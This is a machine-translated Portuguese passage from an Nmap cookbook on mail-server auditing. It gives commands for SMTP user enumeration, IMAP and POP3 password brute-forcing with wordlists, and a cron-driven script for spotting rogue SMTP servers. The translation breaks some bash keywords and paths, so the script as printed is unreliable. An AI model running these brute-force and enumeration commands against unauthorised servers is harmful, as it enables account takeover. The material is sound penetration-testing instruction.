f A receita Enumerando usuários em um servidor SMTP

f A receita de senhas IMAP de força bruta f A receita

Recuperando os recursos de um servidor de e-mail IMAP

f A receita de senhas POP3 de força bruta

f A receita Recuperando os recursos de um servidor de correio POP3

Enumerando usuários em um servidor SMTP


Contas de e-mail usadas como nomes de usuário são muito comuns em aplicativos da Web e encontrá-las é
uma tarefa necessária ao auditar servidores de e-mail. Enumerar usuários via comandos SMTP pode obter
excelentes resultados e, graças ao Nmap Scripting Engine, podemos automatizar esta tarefa.

Esta receita mostra como enumerar usuários em um servidor SMTP usando o Nmap.

Como fazer isso...

Para enumerar usuários de um servidor SMTP usando o Nmap, digite o seguinte comando:

$ nmap -p25 –script smtp-enum-users <alvo>

Qualquer nome de usuário encontrado será incluído na seção de saída do script:

Resultados do script de host:


| smtp-enum-users:

|_ RCPT, webmaster

Como funciona...

O script smtp-enum-users foi escrito por Duarte Silva e tenta enumerar usuários em
servidores SMTP usando os comandos SMTP RCPT, VRFY e EXPN.

Os comandos SMTP RCPT, VRFY e EXPN podem ser usados para determinar se uma conta existe ou não no
servidor de correio. Vamos dar uma olhada apenas no comando VRFY , pois todos funcionam de maneira
semelhante:

raiz VRFY

250 root@domain.com

VRFY

550 eaeaea... Usuário desconhecido

182

www.it-ebooks.info
Machine Translated by Google

Capítulo 6

Observe que esse script funciona apenas em servidores SMTP que não requerem autenticação.
Você verá a seguinte mensagem se for esse o caso:

| smtp-enum-users:

|_ Não foi possível realizar a enumeração do usuário, autenticação necessária

Tem mais...
Você pode escolher quais métodos tentar (RCPT, VRFY e EXPN) e a ordem para
experimentá-los, com o argumento de script smtp-enum-users.methods:

$ nmap -p25 –script smtp-enum-users --script-args smtp-enum-


users.methods={VRFY,EXPN,RCPT} <alvo> $ nmap -p25 –script smtp-
enum-users --script-args smtp-enum-users.methods={RCPT, VRFY} <alvo>

Para definir um domínio diferente nos comandos SMTP, use o argumento de script smtp-enum-
users.domain:

$ nmap -p25 –script smtp-enum-users --script-args smtp-enum-


users.domain=<domínio> <alvo>

O script smtp-enum-users depende das bibliotecas NSE unpwdb e brute.


Essas bibliotecas têm vários argumentos de script que podem ser usados para ajustar sua auditoria de
senha de força bruta.

f Para usar uma lista de nome de usuário diferente, defina o argumento userdb:
$ nmap -p25 --script smtp-enum-users --script-args userdb=/var/
usernames.txt <alvo>

f Para sair depois de encontrar uma conta válida, use o argumento brute.firstOnly: $ nmap -p25 --script
smtp-enum-users --script-args brute.firstOnly <target>

f Para definir um limite de tempo limite diferente, use o argumento unpwd.timelimit. Para executá-lo
indefinidamente, defina-o como 0:

$ nmap -p25 --script smtp-enum-users --script-args unpwdb.timelimit=0


<alvo>
$ nmap -p25 --script smtp-enum-users --script-args unpwdb.timelimit=60m
<alvo>

Depurando scripts NSE Se algo


inesperado acontecer ao executar qualquer um dos scripts NSE, ative a depuração para obter informações
adicionais. O Nmap usa o sinalizador -d para depuração e você pode definir qualquer inteiro entre 0 e 9:

$ nmap -p80 --script http-google-email -d4 <alvo>

183

www.it-ebooks.info
Machine Translated by Google

Auditoria de servidores de correio

Veja também

f A receita Descobrindo contas de e-mail válidas usando a Pesquisa Google

f A receita de senhas SMTP de força bruta

f A receita Enumerando usuários em um servidor SMTP f A receita

Detectando servidores SMTP backdoor

f A receita de senhas IMAP de força bruta

f A receita Recuperando os recursos de um servidor de e-mail IMAP f A receita Brute

forçando senhas POP3

f A receita Recuperando os recursos de um servidor de correio POP3

Detectando servidores SMTP backdoor


Servidores comprometidos podem ter servidores SMTP desonestos instalados e abusados por spammers.
Os administradores de sistema podem usar o Nmap para ajudá-los a monitorar os servidores de correio em sua rede.

Esta receita mostra como detectar servidores SMTP não autorizados usando o Nmap.

Como fazer isso...

Abra seu terminal e digite o seguinte comando Nmap:

$ nmap -sV --script smtp-strangeport <alvo>

Se um servidor de correio for encontrado em uma porta não padrão, isso será relatado na seção de saída do script:

PORTA VERSÃO DE SERVIÇO DE ESTADO

9999/tcp aberto ssl/smtp Postfix smtpd

|_smtp-strangeport: servidor de correio em porta incomum: possível malware

Como funciona...

O script SMTP-strangeport foi enviado por Diman Todorov. Ele detecta servidores SMTP em execução em portas não
padrão, o que é um indicador de servidores de e-mail não autorizados. Se um servidor SMTP for encontrado em execução
em uma porta diferente de 25, 465 e 587, esse script notificará você.

O argumento -sV --script smtp-strangeport faz com que o Nmap inicie a detecção do serviço e inicie o script NSE smtp-
strangeport, que irá comparar os números de porta em que os servidores SMTP foram encontrados com os números
de porta conhecidos 25, 465 e 587.

184

www.it-ebooks.info
Machine Translated by Google

Capítulo 6

Tem mais...
Podemos usar esse script para configurar um sistema de monitoramento para seu servidor de e-mail que irá
notificá-lo se um servidor SMTP não autorizado for encontrado. Primeiro, crie a pasta /usr/local/share/nmap-mailmon/.

Analise seu host e salve os resultados no diretório mailmon que acabamos de criar:

#nmap -oX /usr/local/share/nmap-mailmon/base.xml -sV -p- -Pn -T4 <alvo>

O arquivo resultante será usado para comparar os resultados e deve refletir sua lista de serviços
conhecidos. Agora, crie o arquivo nmap-mailmon.sh:

#!/bin/bash #Bash
script para enviar e-mail ao administrador quando alterações são detectadas em uma rede usando Nmap
e Ndiff.
#
#Não se esqueça de ajustar as variáveis de CONFIGURAÇÃO.
#Paulino Calderon <calderon@websec.mx>

#
#CONFIGURAÇÃO#

REDE="SEUDOMÍNIO.COM"

ADMIN=SEU@EMAIL.COM

NMAP_FLAGS="-sV -Pn -p- -T4 --script smtp-strangeport"


BASE_PATH=/usr/local/share/nmap-mailmon/ BIN_PATH=/usr/local/bin/
BASE_FILE=base.xml NDIFF_FILE=ndiff.log
NEW_RESULTS_FILE=newscanresults.xml

BASE_RESULTS="$BASE_PATH$BASE_FILE"
NEW_RESULTS="$BASE_PATH$NEW_RESULTS_FILE"
NDIFF_RESULTS="$BASE_PATH$NDIFF_FILE"

se [ -f $BASE_RESULTS ] então

echo "Verificando host $NETWORK"


${BIN_PATH}nmap -oX $NEW_RESULTS $NMAP_FLAGS $NETWORK
${BIN_PATH}ndiff $BASE_RESULTS $NEW_RESULTS > $NDIFF_RESULTS se [ $(cat $NDIFF_RESULTS
| wc -l) -gt 0 ] então

185

www.it-ebooks.info
Machine Translated by Google

Auditoria de servidores de correio

echo "Mudanças de rede detectadas em $NETWORK" cat $NDIFF_RESULTS


echo "Alertando admin $ADMIN" mail -s "Mudanças de rede detectadas em
$NETWORK" $ADMIN

< $NDIFF_RESULTS fi

ser

Não se esqueça de atualizar os seguintes valores de configuração:

REDE="SEUDOMÍNIO.COM"

ADMIN=SEU@EMAIL.COM

NMAP_FLAGS="-sV -Pn -p- -T4 --script smtp-strangeport"


BASE_PATH=/usr/local/share/nmap-mailmon/ BIN_PATH=/usr/local/
bin/ BASE_FILE=base.xml NDIFF_FILE=ndiff.log
NEW_RESULTS_FILE=newscanresults.xml

Torne o script nmap-mailmon.sh executável com o seguinte comando:

#chmod +x /usr/local/share/nmap-mailmon/nmap-mailmon.sh

Agora você pode adicionar a seguinte entrada crontab para executar este script automaticamente:

0 * * * * /usr/local/share/nmap-mon/nmap-mon.sh

Reinicie o cron e você deve ter instalado com sucesso um sistema de monitoramento para seu servidor de e-
mail que irá notificá-lo se um servidor SMTP não autorizado for encontrado.

Veja também

f A receita de detecção de relés abertos f A

receita de detecção de servidores Exim SMTP vulneráveis versão 4.70 a 4.75

Senhas IMAP de força bruta


As contas de e-mail armazenam informações muito confidenciais e os testadores de penetração que auditam um
servidor de e-mail devem detectar senhas fracas que podem comprometer as contas de e-mail e as informações
acessíveis por meio delas.

Nesta receita, usaremos senhas IMAP de força bruta usando o Nmap.

186

www.it-ebooks.info
Machine Translated by Google

Capítulo 6

Como fazer isso...


Para executar a auditoria de senha de força bruta no IMAP, use o seguinte comando:

$ nmap -p143 --script imap-brute <alvo>

Todas as contas válidas encontradas serão listadas na seção de saída do script:

PORTA MOTIVO DE SERVIÇO ESTADUAL

143/tcp abrir imap vista-oh

| imap-bruto:
| Contas | |
acc1:test - Credenciais válidas
webmaster:webmaster - Credenciais válidas

| Estatísticas |_
Realizou 112 palpites em 112 segundos, tps médio: 1

Como funciona...
O script imap-brute foi enviado por Patrik Karlsson e executa auditoria de senha de
força bruta em servidores IMAP. Ele suporta autenticação LOGIN, PLAIN, CRAM-MD5,
DIGEST-MD5 e NTLM .

Por padrão, esse script usa as listas de palavras /nselib/data/usernames.lst e /nselib/data/


passwords.lst, mas você pode alterar isso configurando a biblioteca bruta.

O argumento -p143 --script imap-brute diz ao Nmap para iniciar o script imap-brute se o IMAP for
encontrado rodando na porta 143.

Tem mais...
O script imap-brute depende das bibliotecas NSE unpwdb e brute. Essas bibliotecas têm vários
argumentos de script que podem ser usados para ajustar sua auditoria de senha de força bruta.

f Para usar listas de nome de usuário e senha diferentes, defina os argumentos userdb
e passdb, respectivamente:
$ nmap -p143 --script imap-brute --script-args userdb=/var/
usernames.txt,passdb=/var/passwords.txt <alvo>

187

www.it-ebooks.info
Machine Translated by Google

Auditoria de servidores de correio

f Para sair depois de encontrar uma conta válida, use o argumento brute.firstOnly:
$ nmap -p143 --script imap-brute --script-args brute.firstOnly <alvo>

f Para definir um limite de tempo limite diferente, use o argumento unpwd.timelimit.


Para executá-lo indefinidamente, defina-o como 0:

$ nmap -p143 --script imap-brute --script-args unpwdb.timelimit=0


<alvo>
$ nmap -p143 --script imap-brute --script-args unpwdb.timelimit=60m
<alvo>

modos brutos
A biblioteca bruta suporta diferentes modos que alteram as combinações de nome de usuário/senha
usadas no ataque. Os modos disponíveis são:

f user: Para cada usuário listado em userdb, todas as senhas em passdb serão tentadas
$ nmap --script imap-brute --script-args brute.mode=user <alvo>

f pass: Para cada senha listada em passdb, todos os usuários em userdb serão tentados
$ nmap --script imap-brute --script-args brute.mode=pass <target>

f creds: Isso requer o argumento adicional brute.credfile


$ nmap --script imap-brute --script-args
brute.mode=creds,brute.credfile=./creds.txt <alvo>

Depurando scripts NSE Se algo


inesperado acontecer ao executar qualquer um dos scripts NSE, ative a depuração para obter
informações adicionais. O Nmap usa o sinalizador -d para depuração e você pode definir qualquer
inteiro entre 0 e 9:

$ nmap -p80 --script http-google-email -d4 <alvo>

Veja também

f A receita Descobrindo contas de e-mail válidas usando a Pesquisa Google


f A receita de senhas SMTP de força bruta f A
receita Enumerando usuários em um servidor SMTP
f A receita Recuperando os recursos de um servidor de e-mail IMAP
f A receita de força bruta de senhas POP3 f A
receita Recuperando os recursos de um servidor de e-mail POP3

188

www.it-ebooks.info
Machine Translated by Google

Capítulo 6

Recuperando os recursos de um servidor


de e-mail IMAP
Os servidores IMAP podem oferecer suporte a diferentes recursos. Existe um comando chamado CAPABILITY
que permite aos clientes listar esses recursos de servidor de correio suportados e podemos usar o Nmap para
automatizar essa tarefa.

Esta receita mostra como listar os recursos de um servidor IMAP usando o Nmap.

Como fazer isso...


Abra seu terminal favorito e digite o seguinte comando Nmap:

$ nmap -p143,993 --script imap-capacities <alvo>

Os resultados serão incluídos na seção de saída do script:

993/tcp open |_imap- ssl/imap Dovecot imapd

capabilities: LOGIN-REFERRALS completado AUTH=PLAIN OK


Capacidade UNSELECT THREAD=REFERENCES AUTH=LOGINA0001 IMAP4rev1
NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND

Como funciona...
O script imap-capabilities foi enviado por Brandon Enright e tenta listar a funcionalidade suportada dos
servidores IMAP usando o comando CAPABILITY definido no RFC 3501.

O argumento -p143,993 --script imap-capabilities informa ao Nmap para iniciar o script NSE imap-capabilities
se um servidor IMAP for encontrado em execução na porta 143 ou 993.

Tem mais...
Para os casos em que o servidor IMAP está sendo executado em uma porta não padrão , você pode usar o
sinalizador de seleção de porta -p ou habilitar a detecção de serviço do Nmap:

#nmap -sV --script imap-capacities <alvo>

Depurando scripts NSE Se algo


inesperado acontecer ao executar qualquer um dos scripts NSE, ative a depuração para obter informações
adicionais. O Nmap usa o sinalizador -d para depuração e você pode definir qualquer inteiro entre 0 e 9:

$ nmap -p80 --script http-google-email -d4 <alvo>

189

www.it-ebooks.info
Machine Translated by Google

Auditoria de servidores de correio

Veja também

f A receita de senhas SMTP de força bruta

f A receita Enumerando usuários em um servidor SMTP f A receita

Detectando servidores SMTP backdoor

f A receita de senhas IMAP de força bruta

f A receita Recuperando os recursos de um servidor de e-mail IMAP f A receita

Brute forçando senhas POP3

f A receita Recuperando os recursos de um servidor de correio POP3

f A receita Detectando servidores Exim SMTP vulneráveis versão 4.70 a 4.75

Senhas POP3 de força bruta


As contas de e-mail armazenam informações confidenciais. Os testadores de penetração que auditam
servidores de e-mail devem testar senhas fracas que possam ajudar os invasores a comprometer contas importantes.

Esta receita mostra como executar auditoria de senha de força bruta em servidores de correio POP3 usando
o Nmap.

Como fazer isso...

Para iniciar um ataque de dicionário contra POP3 usando o Nmap, digite o seguinte comando:

$ nmap -p110 --script pop3-brute <alvo>

Todas as contas válidas serão listadas na seção de saída do script:

PORTA SERVIÇO DE ESTADO

110/tcp pop3 aberto

| pop3-bruto: webmaster: abc123 |_acc1: senha

Como funciona...

pop3-brute foi enviado por Philip Pickering e realiza auditoria de senha de força bruta contra servidores de correio
POP3. Por padrão, ele usa as listas de palavras /nselib/data/usernames. lst e /nselib/data/passwords.lst como
combinações de nome de usuário e senha.

190

www.it-ebooks.info
Machine Translated by Google

Capítulo 6

Tem mais...
O script pop3-brute depende da biblioteca NSE unpwdb. Esta biblioteca tem vários argumentos de script que podem
ser usados para ajustar sua auditoria de senha de força bruta.

f Para usar listas de nome de usuário e senha diferentes, defina os argumentos userdb e
passdb:
$ nmap -p110 --script pop3-brute --script-args userdb=/var/
usernames.txt,passdb=/var/passwords.txt <alvo>

f Para definir um limite de tempo limite diferente, use o argumento unpwd.timelimit. Para executá-lo
indefinidamente, defina-o como 0:

$ nmap -p110 --script pop3-brute --script-args unpwdb.timelimit=0


<alvo>

$ nmap -p110 --script pop3-brute --script-args unpwdb.timelimit=60m


<alvo>

Depurando scripts NSE Se algo


inesperado acontecer ao executar qualquer um dos scripts NSE, ative a depuração para obter informações adicionais.
O Nmap usa o sinalizador -d para depuração e você pode definir qualquer inteiro entre 0 e 9:

$ nmap -p80 --script http-google-email -d4 <alvo>

Veja também

f A receita Descobrindo contas de e-mail válidas usando a Pesquisa Google

f A receita de força bruta de senhas SMTP f A receita

Enumerando usuários em um servidor SMTP f A receita Detectando

servidores SMTP backdoor

f A receita de senhas IMAP de força bruta f A receita de

recuperação dos recursos de um servidor de e-mail IMAP f A receita de senhas

POP3 de força bruta

f A receita Recuperando os recursos de um servidor de correio POP3

191

www.it-ebooks.info

Você também pode gostar